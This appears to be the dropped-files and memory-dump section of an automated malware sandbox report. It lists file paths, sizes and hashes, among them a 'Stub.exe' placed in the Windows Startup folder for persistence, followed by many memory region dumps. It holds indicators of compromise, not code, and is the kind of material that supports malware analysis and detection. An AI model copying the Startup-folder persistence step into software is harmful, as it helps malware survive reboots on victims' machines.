65e41e9e730fed4f7a7d3f6f35875a16948b897f87c8c70b371fd0ac7f0951814f6a75e7698665194bbc65a3665a684e7be229e7e24193b50483ae7e55eebf4f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d634f6cb5cf187b809614b83ca69ffd9

SHA1
0ed8e2fabdd423e41421c740b9e80c1e63f96621

SHA256
fd17c8c08a5280e7484700f7d2a92dedaa6a7b2e5989f45f24f4bb5d3995a6e6

SHA512
14817d9a0284f5ca312041457908cfe56156ce655ca73262a92a43d7b4f1d07a1ccdb32c67f63b3fb0e4db3ac9459da2e0a454c32c496cd3a20a7c37f0e0598e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
21017c68eaf9461301de459f4f07e888

SHA1
41ff30fc8446508d4c3407c79e798cf6eaa5bb73

SHA256
03b321e48ff3328d9c230308914961fe110c4c7bc96c0a85a296745437bcb888

SHA512
956990c11c6c1baa3665ef7ef23ef6073e0a7fcff77a93b5e605a83ff1e60b916d80d45dafb06977aed90868a273569a865cf2c623e295b5157bfff0fb2be35d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a02a5c33811019844be6fbe448ece23

SHA1
4dece1ff369ddb3c43fdf35eb4459e7e8f98aa53

SHA256
211bee57548752f13c37e7aa4d98b2e61f41b922c28ad0fe4559f3947985e67b

SHA512
d1217dcd8c8d30299ad95afb424c5609bb462e1f21d0445d849466a78b97990de7ad3fe77cf0e4b039ab6c5f9ebfefe40d2c1a83eb437af8c8098ac9d7488d0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4397b0d1a82fec8a95f1ab53c152c5a5

SHA1
3632ed4f2b65fd0df29b3d3725e3a611d2e1adf7

SHA256
10cece13749ac090c815e53dc5e248b4b9c3ba93dc3d434d97d22f12a3906734

SHA512
f0d21ab75d08e1cb4ac83507f9ca41ef5365027b0d7e27747ded44b76fdb0346ca2d7499697802c5b67696e0c73716fcfab698825a143515151001690804d59f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
177a0818b364674fefa300e9dfa94b2c

SHA1
018bcd8f06e6f540db1382f63c57a9a00c55338e

SHA256
90ee3b5e4bf40dbd8e2edfb4ebfa698d2a1c76ee89de40335c86eaad643f8233

SHA512
81c8a437199f2d58ac6846cd088ea9e56b1f2cfd532ad38155b51e895c2bde8a7ee8765c5b4e34eccded2acb6a91c5f580f74d3bbd4890c7a493385f9ee3a71d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9d17e8585400bc639a8b261083920ec3

SHA1
aef71cce477bd67115a4e2a0a86e6b8f0f62e30a

SHA256
81fa386fa9b3d185839bec826c3f8cc422e1f329792b901d61be826d42a57fc1

SHA512
235c6644c1349c77f2805c400fd1091a8775b7e63a2ba2e360418faaeb8b696da13ea7bb33a2d92b35f3fafd30fa6945c2398fba7bba39cf5f037a7d900878d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
287adb4cac24c0d3b11e38e93b53d3b7

SHA1
074a89a622dd50b2869ba675b55b1879668e22f7

SHA256
d280d6bea3c07528690bf5d662bb9e6377ced1af840287bacfb73deb863fb5f5

SHA512
a205499a088519d051dbfe667cc925fb3f44cb015e17bd5ff21a0ce4e1b5f3f19d8015027b5fcd0ae5f7d679ce1f22eaa9cbce14c52bdf7ac540d4cf4185b402

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
f8c40f7624e23fa92ae2f41e34cfca77

SHA1
20e742cfe2759ac2adbc16db736a9e143ca7b677

SHA256
c51a52818a084addbfa913d2bb4bb2b0e60c287a4cf98e679f18b8a521c0aa7b

SHA512
f1da3ec61403d788d417d097a7ed2947203c6bff3cf1d35d697c31edecdf04710b3e44b2aa263b886e297b2ce923fea410ccc673261928f1d0cd81252740dbe7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8cb7f4b4ab204cacd1af6b29c2a2042c

SHA1
244540c38e33eac05826d54282a0bfa60340d6a1

SHA256
4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6

SHA512
7651cb6863a425840db610253151e271d3e8da26a8c633ce484247266fa226792ecb84b9578df3ab17fef84a5dfcad417b63a7df59c9650a907e08d59b91dd6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_etit4k11.ect.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe

Filesize
290KB

MD5
cc63633edfcc147cbaed1959b03d8730

SHA1
df7a250eba6ee1767b09f7923bfd735635deb9e8

SHA256
e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417

SHA512
a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4

Download Submit
memory/260-1006-0x00000000008D0000-0x000000000093C000-memory.dmp

Filesize
432KB

Download
memory/412-32-0x000001E619970000-0x000001E6199AE000-memory.dmp

Filesize
248KB

Download
memory/412-42-0x000001E633F10000-0x000001E633F22000-memory.dmp

Filesize
72KB

Download
memory/412-33-0x00007FFF54700000-0x00007FFF54909000-memory.dmp

Filesize
2.0MB

Download
memory/412-30-0x000001E6194C0000-0x000001E61950E000-memory.dmp

Filesize
312KB

Download
memory/412-35-0x00007FFF53840000-0x00007FFF538FD000-memory.dmp

Filesize
756KB

Download
memory/432-1354-0x0000000000930000-0x000000000099C000-memory.dmp

Filesize
432KB

Download
memory/488-66-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/488-65-0x000002495F600000-0x000002495F62A000-memory.dmp

Filesize
168KB

Download
memory/648-57-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/648-56-0x0000023500090000-0x00000235000BA000-memory.dmp

Filesize
168KB

Download
memory/648-55-0x0000023500060000-0x0000023500083000-memory.dmp

Filesize
140KB

Download
memory/704-61-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/704-60-0x000002F705080000-0x000002F7050AA000-memory.dmp

Filesize
168KB

Download
memory/772-73-0x0000021056890000-0x00000210568BA000-memory.dmp

Filesize
168KB

Download
memory/772-74-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/972-317-0x0000021143970000-0x0000021143B32000-memory.dmp

Filesize
1.8MB

Download
memory/996-68-0x000001B0CC300000-0x000001B0CC32A000-memory.dmp

Filesize
168KB

Download
memory/996-69-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1044-438-0x0000000000A00000-0x0000000000A6C000-memory.dmp

Filesize
432KB

Download
memory/1056-76-0x000002CB99520000-0x000002CB9954A000-memory.dmp

Filesize
168KB

Download
memory/1056-77-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1096-86-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1096-85-0x000001DB7A260000-0x000001DB7A28A000-memory.dmp

Filesize
168KB

Download
memory/1144-37-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/1144-31-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/1144-1-0x00000000004F0000-0x000000000055C000-memory.dmp

Filesize
432KB

Download
memory/1144-0-0x00007FFF338B3000-0x00007FFF338B5000-memory.dmp

Filesize
8KB

Download
memory/1164-1783-0x0000000000DD0000-0x0000000000E3C000-memory.dmp

Filesize
432KB

Download
memory/1184-89-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1184-88-0x000001C6CC9D0000-0x000001C6CC9FA000-memory.dmp

Filesize
168KB

Download
memory/1200-92-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1200-91-0x0000022AD4520000-0x0000022AD454A000-memory.dmp

Filesize
168KB

Download
memory/1252-94-0x00000204623B0000-0x00000204623DA000-memory.dmp

Filesize
168KB

Download
memory/1252-95-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1260-98-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1260-97-0x000001EDEAEB0000-0x000001EDEAEDA000-memory.dmp

Filesize
168KB

Download
memory/1268-101-0x00007FFF14790000-0x00007FFF147A0000-memory.dmp

Filesize
64KB

Download
memory/1268-100-0x0000026636B70000-0x0000026636B9A000-memory.dmp

Filesize
168KB

Download
memory/1356-404-0x00000000003D0000-0x000000000043C000-memory.dmp

Filesize
432KB

Download
memory/1380-754-0x0000000000BF0000-0x0000000000C5C000-memory.dmp

Filesize
432KB

Download
memory/1396-344-0x000001E3433E0000-0x000001E343908000-memory.dmp

Filesize
5.2MB

Download
memory/1400-1660-0x00000000003B0000-0x000000000041C000-memory.dmp

Filesize
432KB

Download
memory/1408-468-0x0000000000510000-0x000000000057C000-memory.dmp

Filesize
432KB

Download
memory/1532-563-0x0000000000770000-0x00000000007DC000-memory.dmp

Filesize
432KB

Download
memory/1608-362-0x0000000000710000-0x000000000077C000-memory.dmp

Filesize
432KB

Download
memory/2092-1072-0x0000000000F90000-0x0000000000FFC000-memory.dmp

Filesize
432KB

Download
memory/2116-628-0x0000000000ED0000-0x0000000000F3C000-memory.dmp

Filesize
432KB

Download
memory/2192-788-0x0000000000430000-0x000000000049C000-memory.dmp

Filesize
432KB

Download
memory/2312-658-0x0000000000FE0000-0x000000000104C000-memory.dmp

Filesize
432KB

Download
memory/2332-910-0x0000000000D60000-0x0000000000DCC000-memory.dmp

Filesize
432KB

Download
memory/2508-1632-0x0000000000180000-0x00000000001EC000-memory.dmp

Filesize
432KB

Download
memory/2728-1415-0x00000000009A0000-0x0000000000A0C000-memory.dmp

Filesize
432KB

Download
memory/2776-1261-0x0000000000440000-0x00000000004AC000-memory.dmp

Filesize
432KB

Download
memory/2872-1102-0x0000000000180000-0x00000000001EC000-memory.dmp

Filesize
432KB

Download
memory/3008-1322-0x0000000000110000-0x000000000017C000-memory.dmp

Filesize
432KB

Download
memory/3084-1569-0x0000000000590000-0x00000000005FC000-memory.dmp

Filesize
432KB

Download
memory/3100-1290-0x00000000001F0000-0x000000000025C000-memory.dmp

Filesize
432KB

Download
memory/3168-1384-0x0000000000D50000-0x0000000000DBC000-memory.dmp

Filesize
432KB

Download
memory/3284-1167-0x0000000000030000-0x000000000009C000-memory.dmp

Filesize
432KB

Download
memory/3416-692-0x0000000000CF0000-0x0000000000D5C000-memory.dmp

Filesize
432KB

Download
memory/3520-976-0x0000000000BA0000-0x0000000000C0C000-memory.dmp

Filesize
432KB

Download
memory/3604-849-0x0000000000410000-0x000000000047C000-memory.dmp

Filesize
432KB

Download
memory/3728-1536-0x0000000000470000-0x00000000004DC000-memory.dmp

Filesize
432KB

Download
memory/3736-1724-0x0000000000AA0000-0x0000000000B0C000-memory.dmp

Filesize
432KB

Download
memory/3812-1475-0x00000000002E0000-0x000000000034C000-memory.dmp

Filesize
432KB

Download
memory/3816-1135-0x00000000009C0000-0x0000000000A2C000-memory.dmp

Filesize
432KB

Download
memory/4156-1601-0x00000000002F0000-0x000000000035C000-memory.dmp

Filesize
432KB

Download
memory/4164-1755-0x0000000000D80000-0x0000000000DEC000-memory.dmp

Filesize
432KB

Download
memory/4168-12-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/4168-11-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/4168-10-0x000002E42F430000-0x000002E42F452000-memory.dmp

Filesize
136KB

Download
memory/4168-14-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/4168-15-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/4168-13-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/4168-18-0x00007FFF338B0000-0x00007FFF34372000-memory.dmp

Filesize
10.8MB

Download
memory/4224-596-0x0000000000D30000-0x0000000000D9C000-memory.dmp

Filesize
432KB

Download
memory/4412-1040-0x0000000000020000-0x000000000008C000-memory.dmp

Filesize
432KB

Download
memory/4488-942-0x00000000004F0000-0x000000000055C000-memory.dmp

Filesize
432KB

Download
memory/4548-40-0x00007FFF54700000-0x00007FFF54909000-memory.dmp

Filesize
2.0MB

Download
memory/4548-53-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/4548-41-0x00007FFF53840000-0x00007FFF538FD000-memory.dmp

Filesize
756KB

Download
memory/4548-38-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/4548-39-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/4588-881-0x0000000000060000-0x00000000000CC000-memory.dmp

Filesize
432KB

Download
memory/4992-1508-0x0000000000AE0000-0x0000000000B4C000-memory.dmp

Filesize
432KB

Download
memory/4992-1859-0x0000000000E00000-0x0000000000E6C000-memory.dmp

Filesize
432KB

Download
memory/5016-499-0x00000000006E0000-0x000000000074C000-memory.dmp

Filesize
432KB

Download
memory/5032-533-0x0000000000F60000-0x0000000000FCC000-memory.dmp

Filesize
432KB

Download
memory/5052-722-0x00000000008C0000-0x000000000092C000-memory.dmp

Filesize
432KB

Download